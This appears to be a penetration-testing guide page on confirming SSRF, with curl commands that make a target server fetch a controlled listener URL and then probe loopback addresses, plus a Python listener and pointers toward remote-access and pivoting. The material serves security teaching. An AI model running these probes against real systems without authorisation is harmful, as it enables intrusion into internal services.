Use server-side requests to inspect reachable internal behavior

Needs: The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource

Listener

Recognition: URL import, webhook, image/PDF fetch, feed preview, link unfurling or callback validation. Prerequisite: a parameter that the server dereferences. Decisive output: a request observed at a controlled listener or a stable response difference tied to the destination.

# Listener
python3 -m http.server LPORT --bind 0.0.0.0

# Hypothetical request replay
curl -sk 'https://HOSTNAME/fetch?url=http://LHOST:LPORT/ssrf-marker'

Interpret the path explicitly

# Interpret the path explicitly
browser/client -> vulnerable application -> requested URL

The application, not Kali, must resolve and reach the destination. A browser-side fetch, open redirect or reflected URL does not prove SSRF.

Internal destination and parser variations

# Internal destination and parser variations
# Only after an external controlled callback proves server-side fetching
curl -sk 'https://HOSTNAME/fetch?url=http://127.0.0.1:PORT/'
curl -sk 'https://HOSTNAME/fetch?url=http://localhost:PORT/'

# Preserve encoding when the URL is nested in form data
curl -sk -X POST https://HOSTNAME/fetch \
  --data-urlencode 'url=http://127.0.0.1:PORT/'

Verify → Verify source/request evidence and the exact returned internal behavior; separate blind fetches from response-readable SSRF.

If it fails → No callback may be DNS, URL validation, egress or application behavior. Test the first failed boundary and avoid indiscriminate destination guessing. More detail ↓

If → then

An HTTP endpoint, redirect or hostname-dependent response → Establish scheme, host, redirects and request state
Needs: Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons
An exposed remote-access application and compatible known credentials → Validate RDP, WinRM, VNC and Telnet access contexts
Needs: Enabled destination service, matching authentication and protocol-specific logon/session rights
A foothold exposes an interface/subnet or a loopback-only service → Discover pivot interfaces, routes and internal service context
Needs: A usable pivot process/identity and explicit scope; both forward and return directions must be understood

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Use server-side requests to inspect reachable internal behavior

USE WHEN: URL import, preview, webhook or fetch behavior
STARTING ACCESS: A reproducible application request and a controlled input or access-context comparison
RESULT: A confirmed server-side request and a bounded internal read/request capability

Recognize the clue

Browse legitimate import/preview/webhook functions and identify a request whose normal input is a server-fetched URL.

curl -skG --data-urlencode 'url=http://LHOST:PORT/FETCH_CANARY' http://TARGET:PORT/FETCH_PATH

SYNTHETIC EXAMPLE OUTPUT

Controlled receiver: GET /FETCH_CANARY
Application response: fetched status/preview

Means: A correlated receiver event supports server-side fetching; it does not establish internal access or response-readable SSRF.

Confirm: Separate client-side fetches, server source, destination/protocol restrictions and response visibility.

After validation: A permitted controlled internal request and its bounded result are confirmed: use that specific server-request primitive.
Ruled out in this context: The browser fetches directly and the server never requests it: reject server-side request inference.
Still inconclusive: No receiver event can mean URL validation, DNS or egress; identify the first failed boundary.

Troubleshooting: No callback may be DNS, URL validation, egress or application behavior. Test the first failed boundary and avoid indiscriminate destination guessing.

Additional prerequisite checks

curl -skG --data-urlencode 'url=http://LHOST:PORT/SSRF_CANARY' http://TARGET:PORT/FETCH_PATH

Recognition: URL import, webhook, image/PDF fetch, feed preview, link unfurling or callback validation. Prerequisite: a parameter that the server dereferences. Decisive output: a request observed at a controlled listener or a stable response difference tied to the destination.

Listener:

Hypothetical request replay:

Interpret the path explicitly:

The application, not Kali, must resolve and reach the destination. A browser-side fetch, open redirect or reflected URL does not prove SSRF.

Internal destination and parser variations

Compare status, body marker, size and timing against a closed-port control. Internal HTTP content establishes reachability/read capability, not command execution.

Why it works

An external callback proves server-side fetching, not unrestricted internal access. Redirect handling, URL parsing and response visibility determine which follow-on requests are possible.

Worked example · hypothetical

Observation: the controlled listener receives a fetch. Test: compare a justified internal endpoint and an unreachable control. Illustrative output: only an internal HTTP response is reflected. Interpretation: map that application boundary without assuming a general network tunnel.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗